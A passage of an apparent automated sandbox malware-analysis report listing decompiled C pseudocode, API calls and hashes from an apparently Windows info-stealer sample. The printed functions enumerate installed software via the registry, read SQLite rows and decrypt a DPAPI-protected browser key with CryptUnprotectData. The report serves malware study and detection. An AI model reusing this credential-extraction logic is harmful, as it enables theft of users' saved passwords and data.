					return E0040B720( &_v8, 4);
				}
				return _t62;
			}

0x00406145
0x00406156
0x0040615f
0x00406165
0x0040616c
0x00406172
0x00406175
0x00406179
0x00406194
0x0040617b
0x00406184
0x00406189
0x0040618c
0x0040618c
0x00406199
0x004061a2
0x004061bc
0x004061c4
0x004061cd
0x004061ea
0x004061f2
0x004061fb
0x00406218
0x00406220
0x00406229
0x00406246
0x0040625c
0x00406261
0x00406264
0x0040626a
0x0040626a
0x00406271
0x00000000
0x00000000
0x0040629e
0x004062b4
0x004062b9
0x004062bc
0x004062bc
0x004062c4
0x004062c8
0x004062dc
0x004062fd
0x00000000
0x0040630b
0x00406313

APIs

wsprintfA.USER32 ref: 0040616C
lstrcpy.KERNEL32(?,00000000), ref: 004061BC
lstrcpy.KERNEL32(?,00000000), ref: 004061EA
lstrcpy.KERNEL32(?,00000000), ref: 00406218
lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

o|, xrefs: 004061A2
@p|, xrefs: 00406229
8o|, xrefs: 004061FB
o|, xrefs: 004061CD

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcpy$wsprintf
String ID: o|$8o|$@p|$o|
API String ID: 553454533-776357314
Opcode ID: 393365a3bb899764153e1fa42e09a486f5acc8d5ce57294cd61437d4c4bab3e7
Instruction ID: 97311c7f6f8bc2fe4aa679da1049fe92a67fa3411fccba4dc07eac06f42ff0f5
Opcode Fuzzy Hash: 393365a3bb899764153e1fa42e09a486f5acc8d5ce57294cd61437d4c4bab3e7
Instruction Fuzzy Hash: 365177F690010CBBC715EF94DC46FDB7378AB5C304F0445A9F609A7181EA78AA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFA0, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040BFA0(void* __ecx) {
				struct HINSTANCE__* _v32;
				struct HINSTANCE__* _v36;
				struct HINSTANCE__* _v40;
				CHAR* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				struct HINSTANCE__* _v56;
				struct HINSTANCE__* _v60;
				char _v64;
				char _v332;
				char _v596;
				CHAR* _t37;
				intOrPtr _t38;
				intOrPtr _t43;

				E0040B720( &_v596, 0x104);
				E0040B720( &_v332, 0x104);
				GetModuleFileNameA(0,  &_v332, 0x104);
				_t37 =  *0x41a2c4; // 0x7c9eb0
				wsprintfA( &_v596, _t37,  &_v332);
				E0040B6E0(_t37,  &_v64, 0, 0x3c);
				_v64 = 0x3c;
				_v60 = 0;
				_v56 = 0;
				_t38 =  *0x41a694; // 0x7a6968
				_v52 = _t38;
				_t43 =  *0x41a770; // 0x7c6548
				_v48 = _t43;
				_v44 =  &_v596;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				 *0x41aa84( &_v64); // executed
				E0040B720( &_v64, 0x3c);
				E0040B720( &_v596, 0x104);
				return E0040B720( &_v332, 0x104);
			}

0x0040bfb5
0x0040bfc6
0x0040bfd9
0x0040bfe6
0x0040bff4
0x0040c005
0x0040c00a
0x0040c011
0x0040c018
0x0040c01f
0x0040c025
0x0040c028
0x0040c02e
0x0040c037
0x0040c03a
0x0040c041
0x0040c048
0x0040c053
0x0040c05f
0x0040c070
0x0040c089

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0040BFD9
wsprintfA.USER32 ref: 0040BFF4
ShellExecuteEx.SHELL32(0000003C), ref: 0040C053

Strings

He|, xrefs: 0040C028
<, xrefs: 0040C00A
hiz, xrefs: 0040C01F

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <$He|$hiz
API String ID: 690967290-766773696
Opcode ID: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction ID: b6c0095fef0d0179f9846f7a94a4eacab4548b86fc187f3e8670100f81996cfc
Opcode Fuzzy Hash: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction Fuzzy Hash: 5D21EDB1900208ABDB14EFA0DC89FDEB778EB48705F00456AF214B61D1DBB95648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040B39D() {
				long _t36;
				long _t39;
				long _t42;
				long _t45;
				long _t51;
				char* _t66;
				intOrPtr _t73;
				char* _t76;
				void* _t81;

				L0:
				while(1) {
					L0:
					 *(_t81 - 0xc1c) =  *(_t81 - 0xc1c) + 1;
					if( *(_t81 - 0x814) != 0) {
						break;
					}
					L2:
					 *(_t81 - 0x818) = 0x400;
					_t39 = RegEnumKeyExA( *(_t81 - 0x810),  *(_t81 - 0xc1c), _t81 - 0x408, _t81 - 0x818, 0, 0, 0, 0); // executed
					 *(_t81 - 0x814) = _t39;
					if( *(_t81 - 0x814) != 0) {
						L11:
						continue;
					} else {
						L3:
						_push(_t81 - 0x408);
						_t73 =  *0x41a230; // 0x7c22c0
						_push(_t73);
						wsprintfA(_t81 - 0x808, "%s\%s");
						_t42 = RegOpenKeyExA(0x80000002, _t81 - 0x808, 0, 0x20019, _t81 - 0x80c); // executed
						if(_t42 == 0) {
							L5:
							 *(_t81 - 0x818) = 0x400;
							_t76 =  *0x41a71c; // 0x7c8ff0
							_t45 = RegQueryValueExA( *(_t81 - 0x80c), _t76, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818); // executed
							if(_t45 == 0) {
								L6:
								_push(_t81 - 0xc18);
								if( *0x41a908() > 1) {
									L7:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									 *(_t81 - 0x818) = 0x400;
									_t66 =  *0x41a450; // 0x7c8fc0
									_t51 = RegQueryValueExA( *(_t81 - 0x80c), _t66, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818); // executed
									if(_t51 == 0) {
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), " ");
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									}
									L9:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), "\n");
								}
							}
							L10:
							RegCloseKey( *(_t81 - 0x80c));
							goto L11;
						} else {
							L4:
							RegCloseKey( *(_t81 - 0x80c));
							_t36 = RegCloseKey( *(_t81 - 0x810));
						}
					}
					L13:
					return _t36;
					L14:
				}
				L12:
				_t36 = RegCloseKey( *(_t81 - 0x810));
				goto L13;
			}

0x0040b39d
0x0040b39d
0x0040b39d
0x0040b3a6
0x0040b3b3
0x00000000
0x00000000
0x0040b3b9
0x0040b3b9
0x0040b3e7
0x0040b3ed
0x0040b3fa
0x0040b535
0x00000000
0x0040b400
0x0040b400
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b43d
0x0040b445
0x0040b466
0x0040b466
0x0040b484
0x0040b492
0x0040b49a
0x0040b4a0
0x0040b4a6
0x0040b4b0
0x0040b4b2
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4ef
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b519
0x0040b522
0x0040b522
0x0040b4b0
0x0040b528
0x0040b52f
0x00000000
0x0040b447
0x0040b447
0x0040b44e
0x0040b45b
0x0040b45b
0x0040b445
0x0040b547
0x0040b54a
0x00000000
0x0040b54a
0x0040b53a
0x0040b541
0x00000000

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B
RegQueryValueExA.KERNEL32(00000000,007C8FF0,00000000,000F003F,?,00000400), ref: 0040B492
lstrlen.KERNEL32(?), ref: 0040B4A7
lstrcat.KERNEL32(?,?), ref: 0040B4BD
RegQueryValueExA.KERNEL32(00000000,007C8FC0,00000000,000F003F,?,00000400), ref: 0040B4EF
lstrcat.KERNEL32(?,00419238), ref: 0040B502
lstrcat.KERNEL32(?,?), ref: 0040B513
lstrcat.KERNEL32(?,00418BC4), ref: 0040B522
RegCloseKey.ADVAPI32(00000000), ref: 0040B52F
RegCloseKey.ADVAPI32(00000000), ref: 0040B541

Strings

%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s
API String ID: 199769609-4073750446
Opcode ID: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction ID: 9546bb00d88ab29d98338f3d9e51bb631a883dd56483db4c703a054c40f4693a
Opcode Fuzzy Hash: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction Fuzzy Hash: 86110DB1901218ABDB20CB50DD45FE9B3B8FB48704F00C5E9A249A6181DB745AD6CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF80, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AF80() {
				void* _v8;
				int _v12;
				void* _v16;
				long _t12;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a1a0; // 0x7c2750
				_t12 = RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8); // executed
				if(_t12 == 0) {
					_t19 =  *0x41a5e4; // 0x7c8470
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12); // executed
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040af86
0x0040afa1
0x0040afaf
0x0040afbb
0x0040afc3
0x0040afd1
0x0040afdc
0x0040afdc
0x0040afe6
0x0040aff2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
RegOpenKeyExA.KERNEL32(80000002,007C2750,00000000,00020119,?), ref: 0040AFBB
RegQueryValueExA.KERNEL32(?,007C8470,00000000,00000000,?,000000FF), ref: 0040AFDC
RegCloseKey.ADVAPI32(?), ref: 0040AFE6

Strings

P'|, xrefs: 0040AFAF

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: P'|
API String ID: 3225020163-277575888
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 3560b0945dc9351a47cb67e23b673332a76d6e647168765e51ac926b13a32b36
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 19014FB5A41208BFEB00DBE0DD49FEEB7BCEB48700F108569FA05A7291D6745A60CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00408510, Relevance: 9.1, APIs: 6, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00408510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				void* _v284;
				intOrPtr _v288;
				CHAR* _t25;
				void* _t28;
				void* _t30;
				void* _t35;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B720( &_v276, 0x104);
				_t25 =  *0x41a07c; // 0x7c8110
				wsprintfA( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41a830(_a4,  &_v8); // executed
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41a430; // 0x7c8310
					_t30 =  *0x41a7e8(_v8, _t56, 0xffffffff,  &_v280, 0); // executed
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_t35 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
					_v284 = _t35;
					while(1) {
						_t36 =  *0x41a804(_v280);
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41a820(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t64 = _t67 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x00408525
0x00408532
0x0040853f
0x00408550
0x00408556
0x0040855b
0x0040856c
0x00408577
0x0040857d
0x00408582
0x0040862d
0x00408634
0x00000000
0x00408647
0x00408596
0x0040859c
0x004085a2
0x004085a9
0x004085af
0x004085b5
0x00000000
0x00000000
0x004085c0
0x004085c6
0x004085c9
0x004085dd
0x004085ef
0x004085ef
0x00408617
0x0040861c
0x00408628
0x00000000
0x00408628
0x0040864d

APIs

wsprintfA.USER32 ref: 0040853F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040858F
RtlAllocateHeap.NTDLL(00000000), ref: 00408596
lstrcat.KERNEL32(?,?), ref: 004085DD
lstrcat.KERNEL32(?,00418BC4), ref: 004085EF
lstrlen.KERNEL32(?), ref: 004085FE

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 92db46569db86317186caa05b7547d2f1a26bfffc278d4dec6d5c31734ebf9bd
Instruction ID: 16a89e7602ce9a9af0cb90aa00b31cd04fc627f3dd9fe4cd639e4c9769f6db21
Opcode Fuzzy Hash: 92db46569db86317186caa05b7547d2f1a26bfffc278d4dec6d5c31734ebf9bd
Instruction Fuzzy Hash: 0F3198B1900108ABCB14EFA4DD46EDA7378AF48705F0085A8F719D7191DA35DAA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00407380, Relevance: 9.1, APIs: 6, Instructions: 77
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407380(CHAR* _a4, void** _a8, long* _a12) {
				struct _OVERLAPPED* _v8;
				long _v12;
				void* _v16;
				intOrPtr _v24;
				long _v28;
				long _v32;
				void* _t30;
				void* _t36;
				int _t39;

				_v8 = 0;
				_v16 = 0;
				_t30 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0); // executed
				_v16 = _t30;
				if(_v16 == 0 || _v16 == 0xffffffff) {
					L12:
					return _v8;
				} else {
					_push( &_v28);
					_push(_v16);
					if( *0x41a868() != 0 && _v24 == 0) {
						 *_a12 = _v28;
						_t36 = LocalAlloc(0x40,  *_a12); // executed
						 *_a8 = _t36;
						if( *_a8 != 0) {
							_t39 = ReadFile(_v16,  *_a8,  *_a12,  &_v12, 0); // executed
							if(_t39 == 0 ||  *_a12 != _v12) {
								_v32 = 0;
							} else {
								_v32 = 1;
							}
							_v8 = _v32;
							if(_v8 == 0) {
								LocalFree( *_a8);
							}
						}
					}
					CloseHandle(_v16);
					goto L12;
				}
			}

0x00407386
0x0040738d
0x004073a7
0x004073ad
0x004073b4
0x0040745b
0x00407461
0x004073c4
0x004073c7
0x004073cb
0x004073d4
0x004073e2
0x004073ec
0x004073f5
0x004073fd
0x00407415
0x0040741d
0x00407432
0x00407429
0x00407429
0x00407429
0x0040743c
0x00407443
0x0040744b
0x0040744b
0x00407443
0x004073fd
0x00407455
0x00000000
0x00407455

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
LocalFree.KERNEL32(?), ref: 0040744B
CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: af94470c476782e88e9ea84d45e590fd848c7c035798b2791f751b67d2b5900f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 1A31DBB4A04209EFDB14DF94C888BAEBBB5FF48310F108169E915AB3D0C778AA55CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00411B30, Relevance: 7.7, APIs: 5, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411B30(intOrPtr __ecx, signed int _a4, long _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				void* _t89;
				intOrPtr _t90;
				void* _t92;
				intOrPtr _t112;
				intOrPtr _t136;
				intOrPtr _t141;

				_v24 = __ecx;
				if( *(_v24 + 4) != 0 ||  *(_v24 + 0xc) != 0 ||  *(_v24 + 0x20) != 0 ||  *((intOrPtr*)(_v24 + 0x18)) != 0 ||  *((intOrPtr*)(_v24 + 0x14)) != 0 || ( *(_v24 + 0x2c) & 0x000000ff) != 0) {
					return 0x1000000;
				} else {
					__eflags = _a12 - 1;
					if(_a12 != 1) {
						__eflags = _a12 - 2;
						if(__eflags != 0) {
							__eflags = _a12 - 3;
							if(_a12 != 3) {
								return 0x10000;
							}
							_v20 = _a8;
							__eflags = _v20;
							if(_v20 != 0) {
								__eflags = _a4;
								if(_a4 == 0) {
									_t89 = CreateFileMappingW(0xffffffff, 0, 4, 0, _v20, 0); // executed
									 *(_v24 + 0xc) = _t89;
									_t90 = _v24;
									__eflags =  *(_t90 + 0xc);
									if( *(_t90 + 0xc) != 0) {
										_t92 = MapViewOfFile( *(_v24 + 0xc), 0xf001f, 0, 0, _v20); // executed
										 *(_v24 + 0x20) = _t92;
										_t136 = _v24;
										__eflags =  *(_t136 + 0x20);
										if( *(_t136 + 0x20) != 0) {
											L25:
											 *((char*)(_v24 + 0x1c)) = 1;
											 *(_v24 + 0x24) = 0;
											 *(_v24 + 0x28) = _v20;
											return 0;
										}
										CloseHandle( *(_v24 + 0xc));
										 *(_v24 + 0xc) = 0;
										return 0x300;
									}
									return 0x300;
								}
								 *(_v24 + 0x20) = _a4;
								goto L25;
							}
							return 0x30000;
						}
						_v16 = _a4;
						 *(_v24 + 4) = CreateFileW(E0040B5C0(__eflags, _v16), 0x40000000, 0, 0, 2, 0x80, 0);
						_t141 = _v24;
						__eflags =  *((intOrPtr*)(_t141 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t141 + 4)) != 0xffffffff) {
							 *((char*)(_v24 + 0x1c)) = 1;
							 *(_v24 + 0x10) = 0;
							 *((char*)(_v24 + 8)) = 1;
							return 0;
						}
						 *(_v24 + 4) = 0;
						return 0x200;
					}
					_v12 = _a4;
					 *(_v24 + 4) = _v12;
					 *((char*)(_v24 + 8)) = 0;
					_v8 = SetFilePointer( *(_v24 + 4), 0, 0, 1);
					__eflags = _v8 - 0xffffffff;
					 *((char*)(_v24 + 0x1c)) = 0 | _v8 != 0xffffffff;
					_t112 = _v24;
					__eflags =  *(_t112 + 0x1c) & 0x000000ff;
					if(( *(_t112 + 0x1c) & 0x000000ff) == 0) {
						 *(_v24 + 0x10) = 0;
					} else {
						 *(_v24 + 0x10) = _v8;
					}
					return 0;
				}
			}

0x00411b36
0x00411b40
0x00000000
0x00411b7b
0x00411b7b
0x00411b7f
0x00411be8
0x00411bec
0x00411c60
0x00411c64
0x00000000
0x00411d22
0x00411c6d
0x00411c70
0x00411c74
0x00411c80
0x00411c84
0x00411c9f
0x00411ca8
0x00411cab
0x00411cae
0x00411cb2
0x00411ccf
0x00411cd8
0x00411cdb
0x00411cde
0x00411ce2
0x00411d02
0x00411d05
0x00411d0c
0x00411d19
0x00000000
0x00411d1c
0x00411ceb
0x00411cf4
0x00000000
0x00411cfb
0x00000000
0x00411cb4
0x00411c8c
0x00000000
0x00411c8c
0x00000000
0x00411c76
0x00411bf1
0x00411c1c
0x00411c1f
0x00411c22
0x00411c26
0x00411c3f
0x00411c46
0x00411c50
0x00000000
0x00411c54
0x00411c2b
0x00000000
0x00411c32
0x00411b84
0x00411b8d
0x00411b93
0x00411baa
0x00411baf
0x00411bb9
0x00411bbc
0x00411bc3
0x00411bc5
0x00411bd5
0x00411bc7
0x00411bcd
0x00411bcd
0x00000000
0x00411bdc

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00411BA4

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction ID: 4806281024cf892df001f217e22b508f46e279854f8b30cdef803a4c5b02db50
Opcode Fuzzy Hash: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction Fuzzy Hash: 49611BB4A0020ADFEB14CF54D585BAEB7B1BB04315F208259E9156B3D1D378EE81CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00407690, Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00407690(CHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				char* _v8;
				char _v12;
				char _v16;
				char* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				void* _t32;
				char* _t35;
				void* _t45;
				char* _t57;
				intOrPtr _t58;

				_v44 = 0;
				_t32 = E00407380(_a4,  &_v40,  &_v16); // executed
				if(_t32 != 0) {
					_t35 = E0040BB00(_v40, _v16); // executed
					_v8 = _t35;
					if(_v8 != 0) {
						_t57 =  *0x41a088; // 0x7c7de8
						_v20 = StrStrA(_v8, _t57);
						if(_v20 != 0) {
							_v20 = _v20 + 0x10;
							_t58 =  *0x41a394; // 0x7c7250
							_v48 = E0040BA20(_v20, _t58);
							if(E00407470( &_v24, _v48,  &_v32,  &_v24) != 0 && _v24 >= 5) {
								asm("repe cmpsb");
								if(0 == 0) {
									_t45 = E00407510(_v32 + 5, _v24 - 5,  &_v28,  &_v12); // executed
									if(_t45 != 0 && _v12 == 0x20) {
										_v44 = 1;
										E004075E0(_v28, _a8, _a12); // executed
									}
								}
							}
						}
					}
				}
				return _v44;
			}

0x00407698
0x004076ab
0x004076b5
0x004076c3
0x004076cb
0x004076d2
0x004076d8
0x004076e9
0x004076f0
0x004076fc
0x004076ff
0x00407712
0x0040772b
0x00407742
0x00407744
0x0040775c
0x00407766
0x0040776e
0x00407781
0x00407786
0x00407766
0x00407744
0x0040772b
0x004076f0
0x004076d2
0x00407791

APIs

Part of subcall function 00407380: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
Part of subcall function 00407380: GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
Part of subcall function 00407380: LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
Part of subcall function 00407380: ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
Part of subcall function 00407380: LocalFree.KERNEL32(?), ref: 0040744B
Part of subcall function 00407380: CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Part of subcall function 0040BB00: LocalAlloc.KERNEL32(00000040,-00000001), ref: 0040BB22

StrStrA.SHLWAPI(00000000,007C7DE8), ref: 004076E3

Part of subcall function 00407470: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
Part of subcall function 00407470: LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
Part of subcall function 00407470: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
Part of subcall function 00407470: LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Part of subcall function 00407510: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
Part of subcall function 00407510: LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
Part of subcall function 00407510: LocalFree.KERNEL32(?), ref: 0040757F

Strings

, xrefs: 00407768
Pr|, xrefs: 004076FF
}|, xrefs: 004076D8
DPAPI, xrefs: 00407738

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotect
String ID: $DPAPI$Pr|$}|
API String ID: 2403763606-1056883733
Opcode ID: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction ID: eb4e9db67b04358953b965a2fa42df4c86bf95490415688a64744a127192de17
Opcode Fuzzy Hash: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction Fuzzy Hash: C5314876D04109ABCF04DBD9DC45AFFB7B8AF48304F14852AE904B3241E738B944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B240() {
				void* _v8;
				int _v12;
				void* _v16;
				long _t12;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a610; // 0x7c6890
				_t12 = RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8); // executed
				if(_t12 == 0) {
					_t19 =  *0x41a1f4; // 0x7c90f8
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12); // executed
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b246
0x0040b261
0x0040b26f
0x0040b27b
0x0040b283
0x0040b291
0x0040b29c
0x0040b29c
0x0040b2a6
0x0040b2b2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
RegOpenKeyExA.KERNEL32(80000002,007C6890,00000000,00020119,?), ref: 0040B27B
RegQueryValueExA.KERNEL32(?,007C90F8,00000000,00000000,?,000000FF), ref: 0040B29C
RegCloseKey.ADVAPI32(?), ref: 0040B2A6

Memory Dump Source

Source File: 00000019.00000002.440470542.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.440513643.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 923f0571c0864a17576b372675103fc2b24e7fdb5a8175b3b8f490f686ce64a9
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 70013CB5A41208BBDB00DBE0DD49FEEB7B8EB48700F0085A8FA05A7291D6745A508B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B090, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B090() {
				void* _v8;
				int _v12;
				void* _v16;
				long _t12;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a3f4; // 0x7c2788
				_t12 = RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8); // executed
				if(_t12 == 0) {
					_t19 =  *0x41a4dc; // 0x7c8fa8
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12); // executed
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b096
0x0040b0b1
0x0040b0bf
0x0040b0cb
0x0040b0d3
0x0040b0e1
0x0040b0ec
0x0040b0ec
0x0040b0f6
0x0040b102

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
